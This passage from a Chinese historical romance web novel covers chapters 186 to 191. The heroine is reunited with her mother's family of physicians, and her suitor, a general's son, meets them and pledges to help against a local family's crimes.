事实上,如果真的这样,他也不会太过强求,每个人都该有根,属于自己的退路,如果徐家真的是陈识月母亲的娘家,那在以后的将来,如果平反失败的话…… 霍青行沉默了。 “少将军?”林序看向他,“你不会真的舍得放开她吧?眼巴巴求了那么多年的媳妇,你会甘愿放下吗?徐家……其实也算是极好的庇护之处。” 以陈识月现在的身份,如果有个地方可以免于奔波,藏匿踪迹,那徐家无疑是最好的地方。 “她自己会有抉择。”霍青行半晌才吐出一句,“不管她要怎么做,我都会支持她,哪怕她要留下也无妨,陈家和国公府的事情,我会替她继续做。” 风险,他会自己承担。 他霍青行愿意为她冲锋陷阵,哪怕是死也无妨,身为将士,就该死在战场上。 朝堂,何尝不是没有硝烟的战场?! “哎!”林序叹口气。 外头,忽然有脚步声传来。 霍青行身子一晃,已经飞窗而出。 “谁?”林序低喝。 第一百八十六章 当年也找过,可惜找不到 来的是徐玉安,也就是徐玉莹的兄长。 “少东家?”林序皱眉,“您这是?” 徐玉安瞧着行色匆匆,似乎有点着急,“我去请了祖父,匆匆忙忙赶回来的,所以……这会想问个问题,不知道公子能不能如实回答?” “问我?”林序诧异,“月大夫不能回答吗?” 没串通好,这要是说漏了嘴…… 算谁的? “不不不,这跟月大夫不一样。”徐玉安好似有点犹豫,“公子姓林?家住何处啊?父母双亲可还安在?” 林序:“??” 等会等会! 这话不对! 啊喂,画风不得对! 怎么听着有点…… 下一刻,林序一颗心猛地提起,哎呦哎呦,夭寿啦! 这要是让少将军听见,不得扒了他的皮! “徐公子,你可莫要开玩笑,有些玩笑是说不得的,这要是传到别人的耳朵里,让人误会的话……有些人会吃不了兜着走的。”林序郑重其事的开口,“你知道,吃不了兜着走的意思吧?” 徐玉安木讷的点点头,“所以呢?可有婚配?” “喂喂喂……”林序差点一蹦三尺高,隐约瞧见阎王爷举刀。 我累个乖乖啊! 要是让少将军听到…… “别误会。”林序一颗心砰砰乱跳,“我与月大夫什么关系都没有,真的真的,我只是她救治的一个病人,你可千万不要乱说话,会死人的!” 他将最后几个字,咬得生重。 会死人的! 真的! “这么严肃作甚?”徐玉安屁颠颠的进来,一脸懵逼的看向他,“你这副样子,好像是被人追杀一般?” 林序握住他的手,“我警告你,好好说话,绝对不要把我和月大夫扯在一起,更不要往那方面去想,要不然的话,我一定会被人追杀,还会死无全尸。” 徐玉安:“??” 这是有什么诅咒吗? 听起来好严重? 迟疑了片刻,徐玉安叹口气,“罢了,那就不问了,可见你也不是那么喜欢我家妹妹。” “不喜欢,不喜欢,不喜欢。”林序抹着冷汗,连道三句不喜欢。 重要的事情说三遍,要不然窗外那头老虎发飙,是真的会无差别攻击! “对了!”林序低声开口,“你确定月大夫的身份啊?” 徐玉安点头,“画像你们不都亲眼所见?月儿表妹不是已经亲口承认,那就是她母亲吗?林公子,你这还怀疑什么呢?” “我只是不放心,想要再确定一遍!”林序瞥一眼窗口位置。 这一句可不是为自己问的,是想让霍青行亲耳听到。 “如此可听仔细了?”徐玉安问。 林序郑重其事的点头,“那我就放心了,来日就算是月大夫要留在此处,也没什么大不了的,好歹是她的外祖家。” “你不知道,我祖父经常念叨着姑母,年轻的时候总归是有点气在身上的,现如今年岁上来了,总想着能在走之前,见到姑母,只要姑母安好,他便也放心了。可惜一直未能如愿!”徐玉安摇摇头。 林序不吱声。 “姑母走的时候,我尚在母亲的肚子里,她都没能见到我。”徐玉安继续说,“后来她没回来过,自然更见不到了,我与妹妹自小见的便是姑母的画像,一开始祖父藏着掖着,后来想找人……却是怎么都找不到了。” 只留下画像,睹物思人。 “去过金都吗?”林序小心的试探。 徐玉安点点头,“怎么没去过?据说当时,姑母四处游历,金都也是其中之一处,所以父亲去金都的时候都会去打听,可惜没人见过。跟自家的商队也曾嘱托,可惜都没结果。” “你们去金都打听过了?”林序有点提心吊胆。 这要是让人知道…… “只敢找熟人打听,毕竟是个姑娘家,若是有歹人因此而起了恶毒的心思,反而会招来祸端。”徐玉安说的也不是没道理,这些年为了找姑母,费了不少心思,可惜都没能找到人。 要么是出事了,要么还是出事了…… 正常人总不可能离家这么多年都不回来吧? 何况,徐家的产业虽然没有遍布天下,多少是跟那些医馆都有所打交道的,且因着祖上的缘故,不少学徒都四散开来,若是真的遇见了难处,多多少少还是可以求助的。 结果什么消息都没有,如石沉大海…… “还好。”林序如释重负。 这要是大张旗鼓的找,若是那天被人发现,那便是陈家的妾室,到时候可就要完犊子了,即便是陈家世代行医,素有远名,万一朝廷追究下来,那也得吃不了兜着走。 “什么?”徐玉安没听明白。 林序一怔,“哦,没什么,没什么。” “祖父那边应该在路上了,今晚就能见到,我先去安排一些事情,你好好休息!”徐玉安起身,走两步又回头问,“既然你不是月儿表妹的……那你可知月儿表妹是否婚嫁?” 林序还在发懵,听得这话只顺口一提,“许了。” 音落,两脸懵逼。 “谁啊?在哪啊?何方人士?做什么的?许了的意思是定亲了?日子为何时?还是说成亲了?”徐玉安一连串的问题。 惊得林序连连摆手,“这事你还是去问月大夫吧,我就是被她所救,关于那些私事就只是听了那么一耳朵,哪儿知道这么多?” “哦!好!”徐玉安掉头就走。 这可是大事,得尽快告诉父亲母亲,还得问清楚月儿表妹到底许给了谁? 来了徐家这么久,怎么也没听她提起? 待人一走,霍青行便从窗外窜了进来。 “我可什么都没说。”林序第一反应是解释,“出什么事,莫要赖在卑职身上。” 霍青行深吸一口气,一言不发。 “少将军,我瞧着他们徐家,似乎是真心为月大夫高兴,他们找了月大夫的母亲多年,如今终于找回来了月大夫,想必会好好疼她。”林序欲言又止。 若是如此,那月大夫会作何抉择呢? 霍青行不说话,大概也是不确定吧? 陈识月孤身一人在外太久太久,对家的渴望还有对爱的渴望,必定是远胜过一切,他见过她幼时渴望父亲疼爱的哭泣模样,也见过她一身落寞的模样,所以…… 沉默,还是沉默。 天黑之后,徐家的老太爷回来了。 马车停下的那一刻,老太爷便急急忙忙的下了马车,直奔府门…… “快让我看看!” 第一百八十七章 终于暖到她了 徐家老太爷,徐敬虽然年纪大了,但还没到老眼昏花的时候,见到陈识月的那一刻,他拄着杖站在原地好半天都没有回过神来,就这么直勾勾的看着陈识月。 在接到老太爷马上赶到的消息时,徐家的东家,也就是陈识月的舅舅——徐庚,立刻就取出了一套罗裙让陈识月换上。 换上的那一刻,所有人都沉默了。 那样子就好像梦里的那个人,忽然间就复活了,重新出现在他们的面前。 徐老太爷瞧着陈识月,顷刻间老泪纵横,亦步亦趋的走向陈识月,哽在心头多少年的死结,忽然间就解开了,魂牵梦萦多年终于可以放下了。 “像!真的像!”徐敬还没到老糊涂的时候,看到陈识月就会误认为自己的女儿,但他也很清楚,这么相似的容貌,应该是错不了了。 徐庚上前搀扶,“父亲,您看,对吧?” “对!对!”徐敬上前,“孩子,你母亲……” 陈识月深吸一口气,“她叫柳瑶。” “不,不是柳,是徐。”徐敬摇摇头,“她叫徐瑶。” 陈识月大概想到了什么,慌忙将怀中藏着的医书递上,“所以这个……” “这是父亲的亲笔手书。”徐庚解释。 徐玉安忙不迭递上了老太爷书房里的墨宝,“给!” 一对比,字迹几乎相同。 “瑶儿临走前,带走的东西不多,这医书便是其中之一。”徐庚叹口气,说起这个的时候眼眶还有些微红,“若是早知道这一走那么多年,就该多给她准备点东西。” 徐敬握住了陈识月的手,“你娘……” 陈识月张了张嘴,愣是不知道该如何开口。 说她陈家满门皆灭? 说她是朝廷钦犯? “父亲?”王氏上前行礼,“还是先坐下来吃饭吧?边吃边说,不要光站着了。” 时辰不早了,天色早已黑沉。 “好!” 菜肴满桌。 陈识月入座之后,心里还是有点担心的,环顾四周,没见着林序,不由得眉心微蹙。 她留的消息,他应该看到了吧? 霍青行其实就在屋顶坐着,他们在吃饭聊天,他一时间不知道该不该现身,毕竟是阖家团聚的好日子,更何况他现在下去,到底要用什么身份呢? 未婚夫? 纠缠者? 同伙…… “林序没出来?”陈识月低声问。 徐玉莹一怔,“好像是说,不想打扰我们合家团聚,就让底下人送饭去房内,不出来一起吃了。姐姐,要把人叫出来吗?” “不用。”陈识月摇摇头。 既然林序不愿出来,那便不出来吧。 “你母亲……”徐敬张了张嘴,愣是不知道该从何说起,“她……” 徐庚赶紧安抚着,顺着老父亲的脊背,“您别着急,听月儿慢慢说。” “月儿?”徐敬点头,“好听。” 陈识月起身,“我、我其实……” “别起来,坐着说。”王氏笑盈盈的将她摁回去,“在座的都是自家人,不必如此拘泥,放松点,自在点。” 陈识月坐下,羽睫微垂,“我母亲已经过世很多年了。” 此言一出,满桌黯然。 其实都猜到了,要不是这样,她为何会孤身一人? “家里出了点事情,母亲在危难之时把我送出了府,所以举家唯有我一人脱身。”陈识月想避开那些事情,不敢直言不讳,“母亲最后没能逃过,不过她、她……” 王氏赶紧抱了抱她,“好孩子,有舅母在,以后一定不会让你受委屈,定然当你是亲生女儿。” “你母亲那些年可还好?”徐家人其实想弄清楚,徐瑶当年究竟去哪了?到底发生了何事?这么多年音讯全无? 只是因为跟父亲拌嘴,最后赌气出去,到处游玩,最后竟连家都不回了。 “她为了自己的喜爱,留在了父亲的身边,父亲许她……”陈识月说不下去了,总不能说母亲这些年一直给人当妾吧? 在后院的时候,母亲好似不受宠,备受欺辱,连带着她也不受父亲待见?可最后的最后,管家伯伯和厨娘婶婶却又说…… “你父亲对她好吗?”徐敬忙问。 身为父亲,最关心的莫过于儿女的幸福。 “好!”陈识月违心的说。 对于母亲来说,可能那一点爱就是让她硬着头皮坚持下去的理由。 那,应该是好吧? “那就好!”徐敬松了口气,“你父亲叫什么?何方人士?” 陈识月眼眶微红,“他姓陈,是金都人士。我、我叫陈识月,自小在金都长大,后来家中变故,被贼人截杀,就、就流落乡野,一直在外面长大。” “截杀?”众人傻眼了。 陈识月点点头,“所以月儿有个不情之请,还望诸位能替我保密,贼人尚未……尚未被擒,我至今都不敢出现在人前,只能继续隐姓埋名。” “岂有此理!”徐敬拍案而起,“到底是何人如此猖狂?” 徐庚赶紧安抚,“父亲,父亲,不要激动,事已至此,先听月儿把话说完。” “月儿,你继续说。”王氏开口。 陈识月点点头,“家里出事之后我就跑了,所以金都那边来人,都会……都会害怕,不想再招惹那些事情。那些贼人可能与朝廷中人有关,是以不管是府衙还是县衙,公门中人我也不信。” 满桌沉默。 陈家出事,这事不小啊! 金都是天子脚下,除却一脸懵逼的徐玉莹,大概都已经猜到了七七八八。 不是逃避,也不是闪躲害怕,而是心疼她成了孤女。 满门独活,要怎样的活,才能活到现在? 外头有人追杀,她得照顾自己,还得躲避追杀…… “我的乖孙啊!”徐敬满脸是泪,走过去轻轻的抱住了陈识月,“以后徐家就是你家,这里就是你的庇护之处,谁都不能再伤害你,外祖就算拼了这条命,也会保护你的!” 陈识月默默流泪,“多谢外祖。” “月儿莫要担心,舅舅养得起你!”徐庚道。 王氏也是满脸心疼,“舅母会好好照顾你。” 徐玉莹和徐玉安连连点头。 合家团聚,真好! 霍青行松了口气,终于可以暖到她了…… 第一百八十八章 因为她本来就很好 徐家的氛围很好,这是陈识月没想到的,也是霍青行没料到的。 但是转念一想,又好像是在情理之中的,他心里的小月儿那么好,她的至亲手足,自然都是极好的,都如她这般。 霍青行转身离开,如此他便放心了。 “少将军怎么回来了?”林序诧异,瞧了瞧桌案上的饭菜,“来点?” 霍青行坐下就吃饭,“她很好,我放心。” “真的放心啊?”林序问。 霍青行眉心一皱,“这么多饭菜,堵不住你的嘴?” 林序偷笑。 须臾,霍青行幽幽启唇,“我只是担心徐家有所图,如今瞧着是真心对她好,甚至于他们可能已经猜到了七七八八。谎言这东西只能骗骗纯傻的,还有爱你的人。” “少将军,感悟挺深啊!”林序巴巴的凑上去。 霍青行给他夹了一块红烧肉,“就你话多。” “我只是觉得吧!”林序叹口气,“徐家是不错,但是查不清楚那些事情,月大夫这心里头迟早是个结,早晚还是得想出病来。心病难医!” 霍青行不说话,只埋头干饭。 “心病还需心药医。”林序想了想,“她应该不会留下的。” 霍青行没说话,对于陈识月的选择,他不会轻易干涉。 见此情形,林序便也不再说话,只乖乖吃饭。 前厅那边的氛围则是好多了,一阵抽泣过后,大家也都冷静了下来,对于陈识月这些年的遭遇,没有必要的时候坚决不问。 她躲藏这么多年,日子肯定不好过,掀人伤疤作甚? 再然后便是,尊重她。 若是哪天她愿意说了,那便是最好的。 吃过饭之后,徐敬大概是太过激动,所以身子出现了不适,只能先下去休息。 舅父舅母则跟着去伺候,徐家两个小辈则陪着陈识月坐在暖阁里,年纪相仿,倒也能说得上话。 暖阁温暖,炉火哔哔啵啵的响着。 “真真是缘分,即便无人教习,你竟也习得一身的好医术。”徐玉安还是有点小兴奋的,“你不知道,祖父和父亲总觉得我与妹妹没有天赋,如今瞧着你,倒是极好的!” 徐玉莹连连点头,“可不是嘛,何况兄长也不喜欢学医,我这厢呢……也没有天赋,总没那个能力,往日里总要受父亲的责骂。” “听说姑姑早些年,就是天赋极高,对于那些药草皆是一眼就记住,甚至于能拟出不同寻常的方子,正因为如此,祖父与姑姑时常起争执。”徐玉安补充,“但是父亲私下里说,其实祖父很看重姑姑。” 陈识月从不知道,母亲年少时竟是这般的叛逆,这般的骄傲,可她的确有骄傲的资本。 “姑姑总是另辟蹊径,与父亲的墨守成规是两个模样,若真要比较,姑姑略胜一筹,祖父原本也是想让姑姑继承衣钵,那本医书就是最好的见证。可惜姑姑喜欢到处走,不愿拘于一室。”徐玉莹叹气,“这一走就再也没回来。” 徐玉安沏茶,“好在,你来了。” “我两可算解脱了,以后这徐氏医馆,徐家的衣钵,可算有人继承。”两兄妹嬉嬉笑笑,全然不拿陈识月当外人。 陈识月僵在原地,“你们就不担心吗?” “担心什么?”徐玉安不解。 徐玉莹皱眉,“月姐姐,你此话何意?” “徐家偌大的家业,交给我一个外人继承,徐家的传承衣钵,总归得落在徐氏族人的身上。”陈识月瞧着高兴太早的两人。 徐玉莹愣住,徐玉安皱眉。 两兄妹对视一眼,“我两绝对没意见。” 一个没天赋,一个没兴趣。 两个人凑一起,也凑不出一身好医术,这要是胡来……岂非害人? “做生意我倒是可行,让我买卖药材生意,绝对没问题。”徐玉安开口,“这些年跟着父亲走南闯北,我倒是有点心得,至于这行医救人嘛……” 难! “我只想吃吃喝喝,偶尔出去逛逛街,只要饿不死我,别亏待我,谁当主家人,我都没意见。”徐玉莹小声嘟哝,“我可没那么大的志向。” 人,得有自知之明。 徐玉莹认得药材,可组合在一起,她就拿捏不准了,所以也吃不了这碗饭。 反观陈识月,着实是老天爷喂饭吃。 她呀,天生就喜欢这一行。 “对了表妹。”徐玉安想了想,“你……你……跟你在一起的那个男子是谁啊?生伯说……” 陈识月眼前一亮,哎呦,忘了他了! 这小子这会还没出现? “不会吧!”徐玉莹的眼睛也亮了,唇角压都压不住,一脸的八卦,“姐夫啊?” 霍青行坐在屋顶上,不由的心头咯噔,捂着脸笑了一下。 姐夫? 这个称呼,倒是极好的。 “真有个妹夫?”徐玉安诧异,“在哪呢?不是那个姓林的吧?不对,生伯认过了,不是这个姓林的,难道有两个?” 霍青行:这个该打死! “想哪儿去了?”陈识月揉着眉心,“幼时相识的邻家哥哥。” 话音刚落,徐玉莹笑得更欢了,“青梅竹马?太好磕了!” 陈识月:“??” “姐姐,你欢喜吗?”徐玉莹问。 霍青行竖起耳朵。 “还没有到这个程度。”陈识月深吸一口气,面上略显温热,默默的端起杯盏,喝了口水,“我与他分离多年,后来才相遇,如今……” “哇!”徐玉莹更激动了,“久别重逢,日久弥坚!” 陈识月:“……” “你看话本子成精了?”徐玉安皱起眉头,“啥啥玩意,你都能编个花头?一会是青梅竹马,一会是久别重逢,我看你别去医馆了,你去茶馆吧!” 徐玉莹翻个白眼,“你懂个屁!跟爹一样老古板。” “我……”陈识月叹口气,“罢了,我与你们说不清楚。” 感情的事情,哪是三言两语就能说清楚的? 陈识月起身。 “姐姐,去哪?”徐玉莹忙问。 陈识月抿唇,“我去透透气,一晚上说了太多话,有点缓不过来。” 两兄妹站在那里,定定的看着她,眸中满是担虑。 “不要担心我。”陈识月站在门口,“我只是需要时间。” 徐玉莹道,“别走太远。” 徐玉安道,“我们都在。” “好!”陈识月红着眼出门。 好多年没有至亲在身边,忽然有了来自至亲的关爱,还真是让人……有点受不住! 出了门,她默默的抬袖拭泪。 一抬头,霍青行就在回廊尽处站着…… 第一百八十九章 霍青行:还有这好事? 大概是意难平。 大概是情绪波动太大,她一人无法承受,在见到他的那一刻,她两条腿就不由自主的跑了起来,直接扑进了他的怀里。 人在脆弱的时候,总会生出几分依赖,不管平日里如何,但此时此刻的陈识月,是想有个温暖怀抱的。 抱一抱,曾经受屈的自己。 抱一抱,如今娇艳的花儿。 人生有很多种形态,有人烂在泥里,有人却在泥泞种开出了花儿,陈识月便属于后者,从未因为恐惧而退缩,也不曾因为艰苦而放弃。 于是乎,她终于爬出了泥泞,伸手摸到了阳光…… 跨越千里而来,年幼时的月亮,终于落进了霍青行的怀里,虽然有片刻的不真实,但双臂紧拥的时候,便是梦也值得。 深情相拥,呼吸交融。 霍青行恨不能将人揉进怀里,融入骨血之中。 一抬头。 好家伙。 前面的门口…… 一个脑袋,两个脑袋,齐刷刷的从门内探出来,就这么直勾勾的盯着这一幕,一个瞪大眼睛,一个眼睛发光,就跟夜里的狗眼睛似的,扑闪扑闪。 “我就说嘛……”徐玉莹蹲在那里,扯着兄长的裤管,“肯定是姐夫。” 徐玉安深吸一口气,“打哪冒出来的?” “天上掉下来的呗!”徐玉莹嘿嘿笑着,“没瞧见表姐一下子就扑上去了?这要不是准姐夫,打不死我,我也不信。” 徐玉安犹豫了,“这要是让父亲母亲看见,那还得了?” “有什么不得了的?前面这十多年,咱也没找到表姐,也没照顾过她,现如今有什么资格干涉她的幸福?喜欢谁,嫁给谁,那都是表姐的自由。”徐玉莹白了他一眼,“何况,你没瞧见准姐夫和表姐很相配吗?就这身高,就这相拥的力道,还有这眼神……” 徐玉安皱眉,“哎哎哎,越说越离谱,隔着大老远,脸长得什么样都瞧不清楚,你说瞧见身高倒也罢了,这怎么还牵扯上眼神了?你什么眼神,千里眼啊?能看到那么远?” “啧,就说你这人娶不上媳妇是活该,你还死活不信!”徐玉莹揪着他的腿,冷不丁三百六十度一转圈。 疼得徐玉安嗷嗷叫,登时也蹲了下来,“嗤,你干什么?” “不许怀疑表姐的眼光。”徐玉莹有点心疼,“如果表姐需要帮忙了,那人对她不好,咱才可以出手,成为她最坚实的后盾。其他时候,只要表姐高兴就好!” 徐玉安想了想,好像有点道理。 “你们男人没一个好东西,都只顾着想自个,谁真的顾及了我们女儿家的心思?”徐玉莹直勾勾的瞧着终于分开的二人,“姐姐这一路走来,必定很辛苦,被人追杀不得不藏起来,势必小心谨慎,但是能让她托付终身的,肯定是极为信任之人,说不定曾经生死相付的。” 徐玉安看向她,“你怎么懂那么多?” “你以为我满箱子的话本子,都是白看的?”徐玉莹站起身来,“哥,若是爹娘问起来,咱一定要站在表姐这边,不能让她在外面受了委屈,回家还得受委屈。” 徐玉安嗤鼻,“你以为我是什么人?那也是我妹妹,是姑母的女儿,亲姑母,亲表妹,我是脑子被驴踢了,才会让人欺负她!” 被霍青行提醒,陈识月才缓过神来,回头看着,趴在门口探头探脑的兄妹,“你兴许也该去打个招呼。” “用……陈家准女婿的身份?”霍青行弯腰凑近了她。 温热的呼吸,喷薄在她耳畔。 瞬间,身上僵直了一下。 陈识月下意识的避开,“你莫得寸进尺,男女有别。” “哦,男女有别?那咱们别一下?”他伸手扯了扯她袖子。 陈识月嫌弃的拨开他的手,“你爱怎样就怎样。” 语罢,她当即转回。 烛火葳蕤,灯盏摇曳。 霍青行瞧着斑驳的微光洒落她一身,衬得那耳朵尖都微微红了起来。 “好。”他紧随其后。 打招呼。 眼见着人都到了跟前,徐家兄妹二人却开始发愣,一时间不知道该说点什么? “在下,霍青行!”霍青行拱手,“麟州霍氏。” 徐玉安赶紧回礼,“我是徐玉安,是月儿表妹的表兄。” 徐玉莹看向他,这尴尬的……连话都说不利索了? 表妹的表兄? “准表姐夫安好,我是徐玉莹。”说着,她高高兴兴的出去,挽起了陈识月的胳膊,“表姐夫生得好,与姐姐真是天生一对。” 看这小嘴甜的! “等会?”徐玉安到底是跟着父亲走南闯北了多年,忽然间觉得霍青行的话有点耳熟,“你说,麟州,霍氏?哪个霍氏?” 霍青行身段颀长,不似文人的芝兰玉树,却是颇有一身正气凛然,瞧着端方持重,周身气质与寻常人不同。 瞧着他这般健硕模样,徐玉安好似想起了什么,“你是麟州的那个……那个霍氏一族吗?” “嗯!”霍青行没有隐瞒。 下一刻,徐玉安扑通跪地。 “哥?”徐玉莹愣住,“你怎么腿软了?” 徐玉安面色瞬白,这能不腿软吗? 那可是麟州霍氏,世代为帅,战功赫赫。 “你是霍家的……小将军吗?”徐玉安嗫嚅着。 徐玉莹瞪大眼睛,猛地抱紧了陈识月的胳膊,“姐姐?” “我……”陈识月赶紧去把徐玉安搀起,“别这样,当他是寻常人,莫要如此,免得让人知晓他的身份,招致祸端。” 徐玉安站起身来,但还是有些腿软,所幸被徐玉莹快速扶住。 霍青行皱了皱眉,“不必如此,没有外人。” “对对对,都是自己人,自家人!”徐玉莹笑呵呵的,“我就说表姐的眼光错不了,哥哥还不信,这会信了吧?姐姐的眼光好着呢!” 霍青行没说话,只是将目光落在陈识月的身上。 须臾,陈识月道,“你们别这样,不然我也不好意思再留下,得提前离开了。” “别!”徐玉安忙道,“表妹夫,能不能……能不能随我去见一见父亲和祖父?” 霍青行一想,还有这好事? “其实最近永安县也出了点事,父亲正好有点焦头烂额,我知道这不太合适,毕竟你们是客人,可有些事情到底不能独善其身。”徐玉安有些犹豫。 陈识月眼珠子一转,当下就明白了他的意思。 永安县的事情…… “可以吗?”徐玉安眼巴巴的看着霍青行。 徐玉莹忙笑盈盈的唤了声,“姐夫?” 于是,霍青行就出现在了徐老太爷的房间…… 第一百九十章 为什么要针对徐家? 徐敬靠坐在床榻上,徐庚坐在床边,王氏端着杯盏。 三人三脸懵逼,直勾勾的盯着闯进来的几个人。 “你们兄妹二人闹腾什么?月儿刚回来,就好好陪着她聊聊天,怎么还折腾得来回跑呢?你们祖父这边有我们就够了!”徐庚叹口气,“别胡闹。” 王氏倒是回过神来,放下手中的杯盏,瞧着眼前的霍青行,上下打量着,“这位公子好面生,之前不曾见过,是……” 徐庚猛地愣住,“哦,我想起来了,你……” 之前在医馆里,似乎有一面之缘。 “在下霍青行。”霍青行当即行礼,“麟州,霍氏。” 霍氏族人分散在各处,但是祖宗祠堂设在麟州,是以对外自报家门的时候,都会提麟州而非其他,哪怕是分支亦是如此。 “麟州霍氏。”徐敬倒吸一口冷气,与儿子对视一眼。 这一眼,让王氏看出了端倪,不由的上前两步,“那你是……” 看看他,再看看陈识月。 王氏忽然笑了,“老爷,父亲,这……这两孩子莫不是……” 屋内,寂静一片。 霍青行当即躬身,“是在下有意月儿,是以寸步不离的相陪,咱……暂无名分。” 最后那一句,说得那叫一个委屈。 徐玉莹:“??” 徐玉安:“……” 屋子里怎么有股子茶香味? 屋子里三个长辈你看看我,我看看你,一时间都有些相顾无言。 这要怎么破尴尬? “此前月儿家中无长辈,很多事情只能自己做主,如今已有外祖一族,那……”霍青行看了一眼边上的陈识月,“求亲应该也是情理之中的事情吧?” 陈识月白了他一眼,徐玉安让他过来办什么事,他心里没数吗? 这小子,到底在说什么? “霍青行,你能不能说点正事?”陈识月不想再外祖父和舅舅、舅母面前失礼,“表哥,你来说吧!” 徐玉安被点名,旋即心神一震,嗫嚅着上前,“那什么永安县的事情,父亲此前不是一直有所疑虑,现在……现在这位霍公子可是了不得的身份,是不是可以……” 见他结结巴巴的说话,徐庚眉心皱得宛若“川”字,“说话都说不利索。” “舅父大人。”霍青行一开口。 屋内,又是一片死寂。 陈识月:怎么还认上亲了? “那什么……”徐庚忽然有点不知所措。 这一声喊的,比陈识月喊得还要顺口,真是难为他了。 “永安县的事情,无外乎是商家的事。”霍青行丝毫没有难为情之意,坦坦荡荡的,就好像自家长辈似的,“商家为富不仁,在永安没干好事。” 徐敬点点头,“商家如今在筹办诗文大会,但我们隐约觉得,今年的诗文大会似乎与往年的不太一样,所以这心里头不踏实。” “尤其是……”徐庚犹豫了一下,“可能已经出了人命。” 陈识月道,“不是可能,而是已经。商家已经闹出了人命,并且还曾经一路追杀,势要斩尽杀绝。接入府中的小姑娘就叫二丫,乃是李家的二姑娘,她父亲便是丧命于商家之手,其后还被放火烧家,若不是我们及时相救,这母子四人怕是都要死在大火里。” “就是那个不能说话的姑娘?”徐庚问。 陈识月点头,“对,就是她。此前去徐氏医馆买药,也是为了她们母女,只是……李婶子至今没回来,咱也不知道她如今在哪?” “这可真是……”徐庚与父亲对视一眼,各自沉默。 霍青行开口,“小院那边我派人盯着,一直没来消息,想必李婶没有回去。而商家的人,现在还在搜寻着李家母女,大概是想赶尽杀绝。” “这帮丧尽天良的东西。”徐敬低斥。 霍青行又道,“此前还一批江湖人,四处掳劫美貌的女子,还绑走了月儿,所幸月儿聪慧,引领着我找到她,可惜让那些贼人跑了。但我确定,他们肯定还会在附近游荡,有恃无恐,必有巢穴和依仗。” “什么?”徐庚站起身,“他们绑了你?” 陈识月颔首,“差点把我送走。” “这帮无法无天的东西!”徐庚看向父亲,“我就说他们肯定还有后招,绝对不是诗文大会这么简单。今年的诗文大会,还没开始就已经陆陆续续死了不少人,而商家一直鬼鬼祟祟的,派人进出码头那边,仿佛是在接应什么?” 陈识月与霍青行对视一眼,亦觉察到了异常。 难道,不只是长乐门的事儿? “不只是如此,他们最近还在咱们家附近转悠,甚至于在医馆旁边盯梢,瞧着就不像是什么好事。以往他们再嚣张,也不可能招惹到咱们的头上。”王氏开口,“这件事肯定另有隐情。” 徐敬迟疑,“为何是貌美女子失踪?” “要被送到一个地方,作为猎物作为一种交易的存在。”霍青行没有说得太清楚。 长乐门的事情,还是少提为好,免得引起恐慌。 “真是岂有此理。”徐庚沉着脸,“永安县平日里倒是平静,也没出那么多的事情,为何现在接二连三的出事?” 霍青行敛眸,“他们想对徐家出手?” “明日会有一批药材到码头。”徐庚思虑再三,“我会亲自去接。” 陈识月不解,“我听说,平日里都是生伯去接送的。” “上次那批药材被人动了手脚,泡坏了。”徐庚想起这事就有点糟心,“按理说不至于如此,但偏偏还是处了事。一路上都很小心,船夫……船夫当时还支支吾吾的……” 想起那些事,之前没有怀疑,后来想想都是破绽。 但是徐庚也没想明白,对药材动手有什么意思? 既不是名贵之物,也不是要紧的药材。 寻常之物,委实犯不着。 可能是…… 意外? 谁也不清楚,也说不上来,但这件事之后,徐家的药材多多少少就受到了影响,时不时就出现什么意外,所以生伯才会特别留意每个来徐家医馆的人。 “明日我陪你去。”霍青行开口。 徐庚与父亲对视一眼,都觉得这是最稳妥的方式,先看看情况再说,总归不会出什么大乱子吧? “要是这一次的药材再出事,那就真的是有人在针对徐家了!”徐敬幽幽启唇。 徐庚不解,“可是,为什么呢?” 徐家和商家井水不犯河水,远日无怨,近日无仇啊…… 第一百九十一章 起誓 “也许只是警告,也许只是为了转移你们的注意力。”陈识月凝眉,面色有些凝重,“若是真的要出手,必定会惹上一身的麻烦。徐家在永安县不是一日两日,要撬动你们肯定不是朝夕之事。” 徐敬点点头,很赞同陈识月的说法。 忽然间有种感觉,后辈这两孙儿加起来,倒是不如陈识月这外孙女能办实事。 徐玉安和徐玉莹对视一眼,他们说的事情,二人都听得一清二楚,但这死脑子好像不会转动,死嘴完全插不上话,只能在边上干看着。 “销金窝的事情并非是近日发生,他们肯定还有别的事。”霍青行看向陈识月,“连寻常人家都不放过,势必要赶尽杀绝,若不是有泄露秘密就会抄家灭族之祸,包含生死大劫,谁会做得这么绝?” 抄家灭族? 生死大劫? 不管哪四个字,都是沉重无比。 这里面必定沾了不少人命,满手鲜血…… “这件事我会让人留意,明日咱先去码头看看再说。”霍青行道,“小月儿,你就留在家里,照看那小丫头便是,其他的交给我。” “好!”陈识月点头。 徐敬和徐庚对视一眼,王氏在边上微微笑着。 这两人默契得跟一个人似的,可见平日里合作无间,做事有商有量,一个有担当,一个够冷静,这两人联手,还不得所向披靡? 从房间出来,霍青行跟在徐家父子身后,进了后院厢房,而陈识月则跟着徐玉莹走了。 “玉安,你去安排一下厢房,我与霍公子说几句话。”徐庚开口。 徐玉安有些不放心,可瞧着父亲这般神色,便讪讪的闭了嘴,一步三回头的朝前走去。 “舅父是有话要交代晚辈?”霍青行一口一个舅父。 徐庚心头有点忐忑,但到底还是高兴的,毕竟麟州霍氏,那可不是寻常家族,何况霍家军镇守边关,战功赫赫不说,一个个都是铁铮铮的汉子。 “不必如此,我徐家虽然都是手无缚鸡之力,不过是大夫罢了,但一个个都敬佩霍老将军,敬佩霍家军众人,月儿能与霍家牵扯上关系,是我们徐家的福气,来日若是有用得着我们徐家的地方,只管开口便是。”徐庚拱手揖礼。 霍青行忙不迭回礼,“舅父客气,都是自家人,不必如此见外。” “月儿之前受过多少苦楚,我与老父亲心里略有底,知晓月儿现如今的身份,可能依旧见不了光,但这没关系,见不了光……那我们就当她的光,她只管躲在暗处便是,但是霍家……”徐庚犹豫了。 霍青行道,“我不怕受牵连。” “月儿吃了很多苦,来日幸福尤为重要。”徐庚犹豫着,“霍小将军前途无量,你确定真的可以坚守本心,守住承诺吗?” 霍青行知道,他们是怕他来日……负了陈识月。 “愿以性命起誓,此生唯有陈识月一人,娶为妻,珍为宝,视如命,若为此等誓言,愿遭天诛地灭之祸。”霍青行是认真的。 徐庚也看出来了,“有你这番话,有你在她身边,我们也就放心了。看得出来,月儿待你尤为不同,与你颇为默契,可见是心意相通的,只是她应也有自己的顾虑,你莫要弃她。” “放心!”霍青行点头。 夜里安静。 待霍青行进了厢房,徐庚便转回了父亲屋里。 “如何?”徐敬问。 